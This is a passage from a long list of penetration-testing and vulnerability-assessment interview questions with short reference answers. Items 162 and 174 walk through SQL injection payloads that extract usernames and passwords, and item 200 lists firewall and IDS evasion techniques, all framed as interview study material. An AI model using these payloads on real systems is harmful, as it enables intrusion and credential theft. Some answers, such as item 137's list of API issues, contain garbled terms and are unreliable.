- SQL Injection - Cross-Site Scripting (XSS) - Denial of Service (DoS) - Phishing - Brute Force

102

What is container vulnerability scanning?

Reference answer

Scanning container images for: Outdated libraries Insecure packages

103

Can you provide an example of a token?

Reference answer

- Example : The most friendly example of the token is OTP (One Time password) which is used to verify the identity of the right user to get network entry and is valid for 30-60 seconds. During the session time, the token gets stored in the organization's database and vanishes when the session expired.

104

What is a race condition, and how can it be prevented?

Reference answer

A race condition is a situation where multiple processes access and modify shared resources concurrently, leading to unintended behaviour. It can be prevented by implementing synchronization mechanisms, like locks and semaphores.

105

Types of scan performed in your current organisation ?

Reference answer

Types include: vulnerability scans (authenticated and unauthenticated), policy compliance scans, web application scans, and discovery scans.

106

What would you do if you accidentally caused a denial of service?

Reference answer

Own your mistake. Immediately notify the client, stop further testing, and assist with recovery. Transparency and accountability are crucial.

107

To what extent can the risk assessment team determine which web apps are vulnerable to attack?

Reference answer

Around 80% of web applications are exploitable, meaning they have loopholes that can be identified and used to access other levels. The risk assessment team tests for this by evaluating the application at both the front-end and back-end levels using vulnerability assessment and penetration testing.

108

Could you elucidate the best practices for locating vulnerabilities in the software's source code?

Reference answer

Several methods can aid in searching for vulnerabilities in a system's defenses. You need to explain things sensibly, making good use of the means at your disposal. Some examples include validating changes, third-party dependencies, and hard-coded credentials.

109

What is TAXII in Cyber Threat Intelligence (CTI)?

Reference answer

TAXII (Trusted Automated Exchange of Intelligence Information) is a protocol for sharing threat intelligence data in a standardized format.

110

What is whaling, and how does it differ from phishing?

Reference answer

Whaling is a type of phishing attack that targets high-level executives or officials. It's more sophisticated and convincing than traditional phishing attacks.

111

Can you provide an example of HTTP Parameter Pollution?

Reference answer

For example, consider a web application that uses URL parameters to identify users and their permissions. An attacker may manipulate these parameters to change their own user ID to that of an admin, granting themselves elevated privileges within the application.

112

What are Soft tokens?

Reference answer

- Soft tokens : Soft tokens involve entering a secret code or message sent to a device to prove possession of the device. They send an encrypted code (like OTP) via authorized app or SMS to a smartphone.

113

What is the difference between a vulnerability assessment vs. penetration test vs. red team?

Reference answer

Vulnerability assessments are a comprehensive review of security weaknesses. Vulnerabilities are identified, classified, and prioritized without actually exploiting them, which would turn it into more of a penetration test. This sorting of vulnerabilities is commonly done with a standardized system internal to an organization or using an open source standard such as the Common Vulnerability Scoring System (CVSS). Nessus is a popular vulnerability scanner deployed by security teams to complete many of the vulnerability assessment requirements. Penetration tests identifies vulnerabilities then performs actual attacks to exploit the vulnerabilities to further assess the security posture. It is very common to find false-positives in vulnerability assessments that can't actively be exploited by a skilled attacker. It's even more common that vulnerability assessments will miss security flaws that can only be enumerated though manual penetration testing. Red Team's simulate as closely as possible an Advanced Persistent Threat(APT). Testing the organizations detection/response capabilities in response to a stealthy, determined threat over a longer period of time. Then taking what they learned to strengthen their security posture. Kind of like a digital vaccine for an organization. Vulnerability assessments and penetration tests usually last a week or two to find as many vulnerabilities and exploits as possible. Red teams are more goal oriented and surgical, simulating realistic threats that an organization is facing and going after specific targets(payroll information, corporate secrets, PII). Time is not spent exploiting every possible vulnerability as that would not accurately simulate the actions of a real APT, compromising OPSEC with noise from needless exploitation. Arguably, the most important part of any of these assessments it the report of findings and recommendations to improve the security of an organization. You can be the best hacker in the world but if you can't communicate, you can't provide value.

114

What experience do you have with automated vulnerability scanning tools and manual techniques?

Reference answer

Automation is great, but manual techniques are irreplaceable. Do they have expertise in both automated scanning tools and manual assessments? Their combined knowledge will ensure a thorough and foolproof vulnerability management process.

115

How would you login to Active Directory from a Linux or Mac box?

Reference answer

Use tools like SSSD, Winbind, or Samba for Linux, and for Mac, configure Active Directory binding via Directory Utility.

116

How can you prevent Security Logging and Monitoring Failures?

Reference answer

- Ensure comprehensive logs are generated, capturing essential security events, including user authentication, access control, and data manipulation. This allows for effective tracking and detection of any malicious activities. - Implement a process to regularly review and analyze logs with both automated tools and manual inspection to detect possible security incidents and emerging threats. - Set up real-time monitoring and alerting systems to detect and respond to security events swiftly to lessen the impact of attacks and prevent potential breaches. - Securely store and protect log files to ensure their integrity and confidentiality, including measures to prevent tampering and unauthorized access, preserving the reliability of the logged data.

117

What is the most difficult security question you've ever been asked?

Reference answer

It's a good way to get a sense of how a candidate thinks about the role and what they're looking for.

118

Explain DOS and DDOS attack.

Reference answer

A Denial of Service (DoS) attack overwhelms a target with traffic to make it unavailable. A Distributed Denial of Service (DDoS) attack uses multiple compromised systems (botnet) to amplify the attack.

119

What is SSL Stripping in penetration testing?

Reference answer

SSL stripping is a type of man-in-the-middle (MITM) attack used in penetration testing to downgrade secure HTTPS connections to unprotected HTTP connections. During this process, attackers intercept and modify the communication between a client and a server, removing the encryption layer provided by SSL/TLS. This allows sensitive data, such as login credentials and personal information, to be transmitted in plain text, making it easier for attackers to steal or manipulate the information.

120

How can you prevent CSRF?

Reference answer

- CSRF tokens help prevent CSRF attacks because attackers cannot make requests to the backend without valid tokens. Each CSRF token should be secret, unpredictable, and unique to the user session.

121

What is the NIST 800-115, and what are its standards?

Reference answer

The NIST 800-115 is a guide to penetration testing, providing standards and best practices for conducting penetration tests.

122

What is the name of the software that compiles of the written codes?

Reference answer

A compiler (e.g., GCC for C, javac for Java) translates source code into machine code or bytecode.

123

What are some popular tools used for vulnerability assessments, and what are their functions?

Reference answer

Popular tools include Nessus for vulnerability scanning, OpenVAS for open-source scanning, Qualys for cloud-based vulnerability management, Nmap for network scanning, and Burp Suite for web application security testing.

124

How do you stay updated on the latest vulnerabilities and security trends?

Reference answer

I stay updated through various channels such as subscribing to cybersecurity newsletters, following reputable security blogs, participating in webinars and conferences, and using vulnerability databases like CVE and NVD.

125

Describe a honeypot.

Reference answer

I expect candidates to immediately start talking about the definition of a honeypot, which is basically a system designed to be vulnerable, often for the purpose of collecting data about an attacker. It's a security mechanism that's designed to mislead attackers by appearing to be an important or valuable resource. I expect them to describe a honeypot as something that's designed to look like the real thing but isn't — and to describe its purpose. But then I also expect them to take it further and talk about how honeypots are used in different industries — like finance or defense — and what their advantages and disadvantages are.

126

Is Penetration Testing Important If the Company Has a Firewall?

Reference answer

A firewall is a device that helps protect computer systems from unauthorized access. It does this by blocking or preventing traffic from entering and leaving the system. In most cases, firewalls are installed on servers, networks, and individual workstations in order to protect these devices against attacks by outside malicious parties such as hackers or cyberspies.

127

What is the difference between encoding, encryption, and hashing?

Reference answer

- Encoding: Transforms data format (not for security) - Encryption: Transforms data with a key (reversible) - Hashing: One-way transformation of data (non-reversible)

128

What are the main challenges faced while implementing SCA, and how can they be addressed in a DevSecOps environment?

Reference answer

This may require sensitizing the developers to the use of SCA and the likely risks that accompany the vulnerabilities of open-source components. This calls for proper training programs and awareness of the significance attached to using the SCA tools. In their turn, legacy applications or code may have lots of dependencies, including outdated and even vulnerable open sources. This needs to be addressed using analysis and dependency management tools that ensure the use of only secure versions of those libraries and components. It's kind of boring to evaluate the transitive dependencies for vulnerabilities, mostly because most dependencies use libraries, which are in turn used in others, and their existence is something that can be known by the developers, not even in a majority of cases. This exposes the organization to vulnerabilities that might be exploited by the adversaries.

129

What is SQL Injection?

Reference answer

Injection of malicious SQL queries into a database query.

130

Which type of security testing assesses weaknesses in various software operating systems, databases, and other applications?

Reference answer

a) System software security

131

What is the distinction between a Layer 2 and a Layer 3 switch? How does a Layer 3 switch differ from a traditional router in terms of functionality and use cases within a network? Could you provide an example scenario where a Layer 3 switch would be the preferred choice over a router?

Reference answer

A Layer 2 switch forwards data based on MAC addresses within the same network, while a Layer 3 switch can also perform routing functions based on IP addresses. A Layer 3 switch differs from a traditional router in that it is optimized for high-speed switching within a LAN, while a router is designed for WAN connections and more complex routing protocols. A Layer 3 switch is preferred over a router in a scenario where high-speed inter-VLAN routing is required within a large campus network, such as routing between different departments in a university.

132

What is the role of cookies in XSS?

Reference answer

Cookies act as our digital identity when we browse websites. They store session information in the browser. However, if someone steals our cookie through XSS, they can also establish a session or log in as us.

133

What is an exploit and payload?

Reference answer

An exploit is code that takes advantage of a vulnerability. A payload is the malicious code delivered by the exploit (e.g., remote access trojan, ransomware).

134

What happens after the vulnerability assessment phase?

Reference answer

After the vulnerability assessment comes the reporting and remediation stage. This phase has two equally important tasks: reporting and remediation. The task of reporting helps the system admins to understand the organization's current state of security and the areas in which it is still insecure, and it points these out to the person responsible. Reporting also gives something tangible to the management so that they can associate it with the future direction of the organization. Reporting normally comes before remediation so that all the information compiled in the vulnerability management phase can seamlessly flow to this phase.

135

What are some common security tools used in DevSecOps?

Reference answer

Common security tools used in DevSecOps include: - Static Application Security Testing (SAST) tools - Dynamic Application Security Testing (DAST) tools - Web Application Firewalls (WAFs) - Container security tools - Vulnerability management tools

136

What is Qualys?

Reference answer

A cloud-based vulnerability management platform used for scanning, patch management, and compliance.

137

Which API security issues are most often encountered?

Reference answer

Some common API security vulnerabilitiesinclude avoiding FORTAG, SQL injection with remote execution, broken object-level authorisation, broken user authentication, excessive data exposure, lack of resources, broken function mass assignment, security misconfiguration injection, improper access, privileged innovation, SQL injection, unauthorised data access, unauthorised data manipulation, cross-site scripting, and data manipulation.

138

What is a cookie?

Reference answer

A cookie is a small piece of data stored on a user's device by a web browser while browsing a website. Cookies serve various purposes such as remembering user preferences, managing login sessions, and tracking browsing behavior for analytics. They enhance user experience by allowing websites to customize content based on previous interactions.

139

What are the types of tokens?

Reference answer

- Types of Token - physical tokens - Hard tokens - Soft tokens - Web/digital token

140

Explain how DNS works.

Reference answer

DNS resolves domain names to IP addresses. When a user enters a URL, the browser queries a recursive resolver, which queries root, TLD, and authoritative name servers to return the corresponding IP address.

141

What is vulnerability trending?

Reference answer

Tracking vulnerability trends over time to identify security improvement or decline.

142

What strategies do you use for secure configuration management?

Reference answer

Some key strategies for secure configuration management include: - Maintaining hardened, approved configuration baselines - Automating config management using tools like Ansible or Puppet - Implementing the least privilege access and secure default settings - Regularly auditing configs and fixing any drift from baselines

143

What is baiting, and how does it work?

Reference answer

Baiting is a type of social engineering attack where an attacker leaves a malware-infected device or storage media in a public area, hoping someone will plug it in or insert it, giving the attacker access to the device or data.

144

Can you explain the difference between a vulnerability, a threat, and a risk?

Reference answer

- Vulnerability: A vulnerability is a weakness or flaw in a system that can be exploited by an attacker. It can exist in software, hardware, or even within an organization's procedures. - Threat: A threat is any circumstance or event that has the potential to cause harm by exploiting a vulnerability. This could be a malicious hacker, malware, or even a natural disaster. - Risk: Risk is the potential for loss or damage when a threat exploits a vulnerability. It is a combination of the likelihood of the occurrence and the impact it would have on the organization.

145

What security testing tools have you used in your previous projects, and how did you apply them?

Reference answer

Look for answers that demonstrate hands-on experience with relevant tools. Candidates should be able to explain how they've used these tools to identify and address security vulnerabilities in real-world scenarios.

146

What is the role of penetration testing in information security governance?

Reference answer

Penetration testing is an important component of information security governance, helping organizations identify and remediate vulnerabilities to maintain the security of their systems and data.

147

What is Burp Suite?

Reference answer

Burp Suite : I believe this tool can handle the majority of our tasks effectively. Additionally, there are numerous open-source alternatives available for other tasks. Burp Suite is a proxy tool that acts as an intermediary between a client and server. It offers several tabs, including Proxy, Repeater, Decoder, and Intruder.

148

What do you mean by cybersecurity?

Reference answer

Cybersecurity refers to the practice of protecting systems, networks, and data from digital attacks, unauthorized access, or damage. It involves implementing technologies, processes, and practices designed to safeguard sensitive information and maintain the integrity, confidentiality, and availability of data. Cybersecurity encompasses various domains, including application security, network security, endpoint protection, and identity management. By addressing threats such as malware, phishing, ransomware, and other forms of cyberattacks, cybersecurity ensures the safety of individuals, organizations, and governments in the increasingly connected digital landscape.

149

What are the risks associated with broken access controls?

Reference answer

When access controls fail, organizations face risks such as data breaches, which can lead to identity theft and financial loss. Compliance violations are another concern, potentially resulting in fines for failing to meet regulatory requirements. Additionally, broken access controls can cause operational disruptions, leading to downtime and financial losses.

150

How can you prevent Software and Data Integrity Failures?

Reference answer

- Utilize digital signatures or similar mechanisms to verify the authenticity and integrity of software or data, ensuring it originates from the expected source and has not been tampered with. - Employ a software supply chain security tool, such as OWASP Dependency Check or OWASP CycloneDX, to regularly scan and verify that software components are free from known vulnerabilities. - Conduct frequent penetration testing (pentesting) of your software to identify and address security vulnerabilities, ensuring robust protection against potential exploits. - Manage software dependencies carefully, keeping track of libraries and components used in your applications and ensuring they are regularly updated and securely maintained.

151

What is ARP?

Reference answer

ARP (Address Resolution Protocol) resolves IP addresses to MAC addresses on a local network.

152

If you find a defect or bug in an application, do you try to fix it yourself?

Reference answer

No, I will not try to fix it myself. I will inform the engineer's team and the system owner about the defect and try to fix it under the engineer's team's guidance, and I will mention it in the final report.

153

What is the purpose of a penetration testing report?

Reference answer

The purpose of a penetration testing report is to provide stakeholders with a comprehensive understanding of the security posture of a system, including identified vulnerabilities and recommended remediation.

154

What is the difference between XSS and CSRF?

Reference answer

XSS involves injecting malicious code into a website to target its users, while CSRF involves inducing a victim user to perform actions they do not intend to do.

155

Discuss the concept of Network Segmentation and its importance in preventing lateral movement and containing potential security breaches.

Reference answer

Network segmentation divides a network into smaller, isolated segments using VLANs, firewalls, or subnets. It limits the ability of attackers to move laterally within a network, contains breaches to a single segment, and reduces the attack surface. This is critical for protecting sensitive data and critical systems.

156

What is PCI-DSS, and what are its security requirements?

Reference answer

PCI-DSS (Payment Card Industry Data Security Standard) is a regulation that requires organizations that handle credit card information to protect it from unauthorized access.

157

What are the benefits of integrating penetration testing into security orchestration?

Reference answer

Integrating penetration testing into security orchestration can improve the efficiency and effectiveness of penetration testing, reduce the risk of security breaches, and enhance overall security posture.

158

What is footprinting?

Reference answer

Footprinting is the process of gathering information about a target organization or system to identify potential security weaknesses. This reconnaissance phase involves collecting data such as domain names, IP addresses, network infrastructure, and employee details. The goal is to build a complete profile of the target to plan further actions, whether for ethical hacking or malicious intent.

159

What is WEP, and why is it insecure?

Reference answer

WEP (Wired Equivalent Privacy) is a wireless security protocol that uses a weak encryption algorithm, making it vulnerable to hacking.

160

What is cloud computing, and what are its security risks?

Reference answer

Cloud computing is a model of delivering computing services over the internet. Security risks include data breaches, unauthorized access, and misconfigured cloud resources.

161

What is the impact of Code Injection?

Reference answer

- An attacker is able to execute arbitrary server-side code. which result in a total loss of integrity, availability, and confidentiality within the application - An attacker may also abuse a code injection vulnerability to execute terminal commands on that server and pivot to adjacent systems.

162

Can you provide an example of Union-based SQLi?

Reference answer

Example : A website's search feature is vulnerable to SQL injection. An attacker wants to retrieve user credentials from the users table. - Determine Column Count : Inject payloads to find the number of columns in the original query: 1. ' UNION SELECT 1-- 2. ' UNION SELECT 1,2-- 3. ' UNION SELECT 1,2,3-- (returns an error, it indicates the original query has two columns.) - Identify Columns for String Data : Inject payloads to find which columns can hold string data ' UNION SELECT 1,'a'-- (If this query succeeds, it indicates the second column can hold string data.) - Craft Payload to Retrieve Data : Construct a payload to retrieve user credentials 1. ' UNION SELECT 1, username, password FROM users-- Complete URL look like this : https://example.com/search.php?category=1 UNION SELECT 1, username, password FROM users-- By executing this, the attacker can combine the product data with the usernames and passwords from the users table, allowing them to steal sensitive information.

163

How do you handle vulnerabilities that cannot be patched?

Reference answer

Compensating controls such as firewall rules or monitoring may be applied. Risk acceptance may also be documented. These decisions must be approved.

164

What is the difference between a reverse shell and a bind shell?

Reference answer

A reverse shell is a type of shell that connects back to the attacker's system, while a bind shell is a type of shell that allows the attacker to connect to the target system.

165

What is Burp Suite used for?

Reference answer

Burp Suite is a web application security testing tool that provides: - Proxy functionality - Scanner - Intruder - Repeater - Decoder/Encoder

166

How do you monitor and detect Kerberoasting?

Reference answer

Windows event ID 4769 is logged on Domain controllers whenever a service ticket is requested. An unsophisticated attacker will request tickets for all service accounts at once, which is an unusual, detectable pattern that the Security Information and Event Management (SIEM) can be configured to alert on. Honeypot service accounts accomplish this goal of detecting a Kerberoast attack across all service accounts as well. For more OPSEC conscious attacks, that target individual service accounts, more correlations will have to be drawn to deduce suspicious activity such as requests for RC4 encryption, monitoring process creation logs and command line arguments for Rubeus or Impacket tools with Endpoint Detection and Response (EDR).

167

What is a phishing attack, and how does it work?

Reference answer

A phishing attack is a type of social engineering attack that involves sending emails or messages that appear to be from a legitimate source, but are malicious.

168

How would you approach a vulnerability assessment for a specific system or network?

Reference answer

(This is an open-ended question that requires you to demonstrate your understanding of the vulnerability assessment process. You should outline a logical approach, mentioning steps like information gathering, scanning, analysis, reporting, and remediation. Be specific about the tools and techniques you would use for the specific system or network, tailoring your answer to the scenario.)

169

How do you prioritize vulnerabilities for remediation?

Reference answer

Prioritization is based on factors like severity, exploitability, and potential impact. High-severity vulnerabilities with a high likelihood of exploitation are addressed first to minimize risk.

170

How would you handle sensitive data or information you come across during a penetration test?

Reference answer

Every vulnerability discovered on a client's network can technically be considered sensitive data or information. Our job as a pentesting team is to help our clients improve security and teach them how they can do so. As we document our findings, we must be careful and responsible with client data as we're trusted to do right by them. Suppose we are doing a test for a healthcare provider. It is not my job as a tester to go poking around a database of protected health information (PHI) out of curiosity. It is my job to discover the vulnerability in the system and understand the impact and potential risk it poses for the client. Then, document this in a report and deliver it to the client. Some information will be redacted, but we, as a pentesting firm, will likely be keeping a copy of that report on our own company-owned systems. (We will want to ensure reports are stored on encrypted drives and when moved around over the network, that protocols and message systems use the strongest encryption possible.) It is also possible that a tester can come across certain information on a system that may be considered illegal content. If this happened to me I would immediately stop the test and consult with my supervisor. We would likely then communicate the details of what was found and we may even consult with our own legal counsel on how and if we should proceed.

171

What are some best practices for secure coding?

Reference answer

An amazing answer would emphasize the importance of input validation to prevent injection attacks and highlight the use of secure coding libraries and frameworks. It should also mention the necessity of regular code reviews and security testing.

172

How do you communicate with stakeholders about identified vulnerabilities and their potential impact?

Reference answer

When it comes to communicating with stakeholders about identified vulnerabilities and their potential impact, it is crucial to convey the message effectively to ensure understanding and collaboration. Here is one approach to consider: Firstly, it is essential to gather all relevant information about the identified vulnerabilities and their potential impact. This includes technical details, severity level, and potential consequences. It's important to be thorough and accurate in your assessment. Next, consider the language and format of your communication. Stakeholders may come from various backgrounds, so it's necessary to explain the vulnerabilities in a clear, concise, and non-technical manner. Avoid jargon and use examples or analogies to enhance comprehension. You can engage stakeholders through various channels such as meetings, emails, or even dedicated communication platforms. Consider using visuals like charts, diagrams, or infographics to illustrate the potential impact, making it easier to grasp for non-technical stakeholders. Here's an example of a code snippet that could be used to automate the communication process by sending an email notification to stakeholders: ```python import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText def send_vulnerability_notification(stakeholders, vulnerabilities): smtp_server = 'your_smtp_server' smtp_port = 587 sender_email = 'your_email@example.com' sender_password = 'your_password' for stakeholder in stakeholders: # Prepare the email content email_body = f"Dear {stakeholder},\n\nWe have identified the following vulnerabilities:\n\n" for vulnerability in vulnerabilities: email_body += f"- {vulnerability}\n" email_body += "\nPlease let us know if you require further details or have any concerns." # Set up the email parameters message = MIMEMultipart() message['From'] = sender_email message['To'] = stakeholder message['Subject'] = 'Vulnerability Notification' message.attach(MIMEText(email_body, 'plain')) # Send the email with smtplib.SMTP(smtp_server, smtp_port) as server: server.starttls() server.login(sender_email, sender_password) server.send_message(message) print("Notification emails sent successfully.") # Usage example stakeholders = ['stakeholder1@example.com', 'stakeholder2@example.com'] vulnerabilities = ['Cross-Site Scripting (XSS)', 'SQL Injection'] send_vulnerability_notification(stakeholders, vulnerabilities) ```

173

Explain How Data is Protected During and after Penetration Testing?

Reference answer

Security professionals refer to data protection as its own discipline unto itself – protecting confidential personal information, sensitive company files, and secure network communications. Protecting data involves ensuring confidentiality, integrity, and accessibility. Confidentiality ensures that data is kept secret from unauthorized parties who might try to steal or otherwise misappropriate the information, either personally or via the organization. Information security specialists have traditionally protected systems using access controls, firewalls, passwords, encryption/decryption techniques, intrusion detection software, etc.

174

Can you provide an example of Boolean-based Blind SQLi?

Reference answer

Example : Let's say a website's login form is vulnerable to SQL injection, and an attacker wants to verify if the user 'admin' exists. They can use payloads that generate different responses based on the truth of the condition. ' OR '1'='1'-- (true condition) ' OR '1'='2'-- (false condition) If responses differ, it confirms that the web application is vulnerable to blind SQL injection. By exploiting true and false conditions, attackers can retrieve database information. Attackers retrieve the payload length from true or false responses, e.g., http://example.com/index.php?id=1' AND (length(database())) = 1 --+ . If false, the length of the database string is not equal to 1, and the attacker continues until obtaining the actual length of the database. After determining the database length, they proceed to find the first letter of the database name and continue this process until they retrieve the complete database name and so on.

175

What is a specific pentesting exercise that can be done with a Diffie-Hellman exchange?

Reference answer

Testing for weak Diffie-Hellman parameters (e.g., Logjam attack) by scanning for export-grade ciphers and vulnerable key sizes.

176

What is cognitive cybersecurity?

Reference answer

Cognitive Cybersecurity is using AI that relies on human thought processes to uncover threats and protect both digital and physical systems. Using a high-powered computer model, self-learning security systems use natural language processing, data mining, and pattern recognition to mimic the human brain.

177

Can you describe a real-life scenario in which you have performed a penetration test?

Reference answer

During a penetration test for a financial institution, the goal was to identify vulnerabilities in their internal network and web applications. The assessment started with reconnaissance, where public-facing information about the organization was gathered, including IP addresses and potential entry points. Next, we conducted a vulnerability scan to detect outdated software and misconfigurations. One critical vulnerability discovered was an exposed administrative portal with default credentials. Exploiting this flaw, we gained access to the internal network. From there, we performed lateral movement, simulating how an attacker could leverage an initial foothold to access sensitive customer data. During this process, we found unencrypted backups containing personally identifiable information (PII). After documenting these findings, the client was immediately notified, especially about the PII risk. We provided detailed remediation steps, including restricting access to the portal, enforcing strong password policies, and encrypting sensitive data. The test ultimately strengthened the institution's security posture while emphasizing the importance of robust internal defenses.

178

What are the steps involved in a vulnerability assessment?

Reference answer

A typical vulnerability assessment process includes the following steps: - Planning: Defining the scope of the assessment, identifying assets to be assessed, and outlining the assessment methodology. - Information Gathering: Collecting information about the target system or network, including network diagrams, software inventory, and security policies. - Scanning: Using automated tools to scan the system or network for known vulnerabilities, identifying potential security weaknesses. - Analysis: Evaluating the identified vulnerabilities, prioritizing them based on severity, exploitability, and impact. - Reporting: Documenting the findings of the assessment, providing detailed descriptions of vulnerabilities, recommendations for remediation, and a prioritized list of actions. - Remediation: Implementing the recommended security fixes and patches to address the identified vulnerabilities.

179

What is Identification and Authentication Failures vulnerability?

Reference answer

An identification and authentication failure vulnerability is a weakness in an identification or authentication process that allows unauthorized access to information. Identification and authentication failures vulnerabilities can be caused by tampering with the data, use of stolen credentials, or errors during user registration. In some cases, these weaknesses may also lead to fraudulent activities such as identity theft or credit card fraud.

180

What is exploitability score?

Reference answer

Measure of how easily attackers can exploit a vulnerability.

181

What is patch verification?

Reference answer

Confirming the vulnerability is fixed after applying a patch.

182

How do you ensure that your penetration testing activities do not disrupt normal business operations?

Reference answer

To ensure that penetration testing activities do not disrupt normal business operations, careful planning and communication are key. Testing is typically scheduled during non-peak hours, and all stakeholders are notified in advance. Additionally, detailed scoping is conducted to define boundaries and avoid critical systems. Backup plans and monitoring are also implemented to quickly address any unexpected issues.

183

Why is logging important in DevSecOps?

Reference answer

Logging has immense importance in DevSecOps because it records activities and the nature of actions occurring in the system. This kind of information is available to enable the discovery of security threats, the detection of anomalies, and, finally, to react to security incidents in time. Proper log management also aids in responding to regulatory compliance requirements such as PCI-DSS, HIPAA, and GDPR.

184

Explain Rainbow attack.

Reference answer

A rainbow attack uses precomputed hash tables (rainbow tables) to reverse hashed passwords, making it faster than brute force but requiring significant storage.

185

How do you integrate vulnerability management with ticketing systems?

Reference answer

Integration automates ticket creation for remediation tasks. It improves visibility and accountability. This streamlines communication with IT teams.

186

What is container vulnerability scanning?

Reference answer

Scanning Docker or Kubernetes images for vulnerabilities.

187

Explain Spear Phishing.

Reference answer

Spear phishing targets specific individuals or organizations with personalized messages, often using detailed information to increase credibility.

188

Describe the role of Qualys in vulnerability management.

Reference answer

Qualys is a cloud-based vulnerability management platform that provides continuous visibility, scanning, and remediation tracking. It helps identify vulnerabilities, prioritize them, and generate reports to support compliance and security posture improvement.

189

What is SAST?

Reference answer

- SAST : SAST is known as Static Application Security Testing. SAST is white-box testing that looks for vulnerabilities inside the application and code

190

What is Diffie-Hellman exchange?

Reference answer

The Diffie-Hellman exchange is a cryptographic method that allows two parties to securely share a secret over an unsecured communication channel. It enables the creation of a shared encryption key without the need to transmit the key itself, ensuring confidentiality. This exchange relies on complex mathematical principles, such as modular arithmetic and discrete logarithms, making it a fundamental technique in secure communications.

191

What is Metasploit, and how does it work?

Reference answer

Metasploit is an exploitation framework that helps penetration testers identify and exploit vulnerabilities in systems. It works by providing a large repository of exploits that can be used to compromise systems.

192

What is penetration testing, and why is it important?

Reference answer

Penetration testing is a simulated cyber attack against a computer system, network, or application to test its security posture. It's essential to identify vulnerabilities and weaknesses, so organizations can strengthen their security measures.

193

What is the purpose of social engineering in penetration testing?

Reference answer

Social engineering in penetration testing is used to evaluate an organization's susceptibility to manipulation tactics that exploit human behavior. The purpose is to identify weaknesses in processes, training, or awareness that could allow attackers to gain unauthorized access to sensitive information or systems. By simulating real-world scenarios, such as phishing emails, pretexting, or physical impersonation, penetration testers can assess how employees respond to these tactics and provide recommendations to improve security awareness and protocols. This ensures that both technological and human elements of the security framework are robust.

194

What is SSHExec?

Reference answer

SSHExec is a remote shell interface implemented in the SSH protocol. It allows an attacker to run commands on the target machine over SSH without having to be physically present on that system. SSHExec works by establishing a connection between the attacker's system and the target system. Once the connection is established, the attacker can run commands or scripts on the target system.

195

What is a network mapper tool, and how does it work?

Reference answer

A network mapper tool is software that creates a map of a target's network, including devices, IP addresses, and open ports.

196

Can you describe a time you identified a potential security risk and how you handled it?

Reference answer

In addressing this question, candidates should highlight a specific instance where they spotted a potential security risk, such as an insecure configuration or code vulnerability. The candidate should describe the steps they took to communicate the risk to the relevant stakeholders and how they collaborated with the team to implement a solution. This could involve patching the vulnerability, updating software, or changing configurations. Look for responses that not only focus on the technical solution but also emphasize communication, teamwork, and the ability to prioritize security in development processes. A strong candidate will link their actions to broader security practices, showing an understanding of how to hire software security engineers.

197

Can you provide an example of a security vulnerability you identified in a previous project?

Reference answer

Through the use of these techniques and tools, I have successfully identified and resolved multiple critical security vulnerabilities in previous projects. For example, in my last job, I uncovered a significant vulnerability in the authentication system that allowed unauthorized users to access sensitive data. After reporting this vulnerability to the development team, we worked together to implement a fix, preventing this issue from being exploited by attackers.

198

Explain DNS Poisoning.

Reference answer

DNS poisoning corrupts DNS cache with false entries, redirecting users to malicious sites without their knowledge.

199

What is exfiltration?

Reference answer

Exfiltration is the unauthorized transfer of data from a system, often a goal of data breaches.

200

How would you bypass a firewall or IDS during a Penetration test?

Reference answer

To bypass firewalls or Intrusion Detection Systems (IDS), it's important to first understand how they work. Techniques like fragmentation or obfuscation can help avoid signature-based detection while encrypting or encoding payloads can evade IDS. Tunnelling methods, such as HTTP or DNS tunnels, can disguise malicious traffic as legitimate. Slow and low-volume attacks, like Slowloris, are also effective in evading detection by staying under bandwidth thresholds.

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